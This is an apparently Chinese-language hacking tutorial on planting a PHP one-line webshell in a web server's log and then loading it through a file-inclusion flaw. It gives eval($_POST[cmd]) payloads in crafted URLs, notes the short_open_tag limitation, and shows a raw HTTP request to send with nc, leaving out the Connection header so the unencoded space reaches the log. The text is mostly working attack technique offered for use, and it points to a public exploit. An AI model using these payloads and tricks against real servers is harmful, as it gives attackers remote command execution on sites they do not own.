http://www.exp.com/index<?/**/eval($_POST[cmd]);/**/?>.php
這樣的GET請求,將一句話木馬寫入web日誌,然後利用檔案包含漏洞包含日誌得到WEBSHELL,如milw0rm上的這個EXP:
http://www.milw0rm.com/exploits/4029
不過很遺憾,這類情況只能在short_open_tag=on的情況下才能有效,當short_open_tag=off時,PHP將不支援<?/**/eval($_POST[cmd]);/**/?>這樣的短語句.
所以我們只能使用<?php eval($_POST[cmd]);?>這樣標準文法的一句話木馬,但是問題來鳥,語句中有一個空格,類似
http://www.exp.com/index<?php eval($_POST[cmd]);?>.php
這樣的提交,WEB伺服器將會把空格做HTTP編碼轉成%20寫入web日誌,如果PHP包含<?php%20eval($_POST[cmd]);?>這樣的語句肯定是不會成功的,所以我們必須把空格真正的寫入WEB日誌.
哈,上面說的牛牛可以略過,下面開始切入正題,我們知道一般情況下,一旦Web伺服器向瀏覽器發送了請求資料,肯定會返迴響應,這裡我發現了WEB伺服器一個奇怪的特性,就是如果沒有返迴響應而WEB伺服器又接受了請求,那麼請求的內容將原封不動的寫入WEB日誌,不會進行HTTP編碼.
這樣我們想個辦法一直與WEB伺服器保持TCP串連,不讓WEB伺服器處理響應返回,然後再由用戶端的我們中斷這次TCP串連,說得這麼複雜其實很容易實現.只要在HTTP請求的資料包中去掉Connection HTTP標題值。
利用NC偽造沒有Connection HTTP標題的請求包:
GET /index< >.php HTTP/1.1
Accept: */*
Accept-Language: zh-cn
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)
Host: 192.168.3.44
你會發現WEB伺服器一直不會返迴響應,直到我們用戶端斷開這次串連,這個邪惡的空格便寫入了WEB日誌!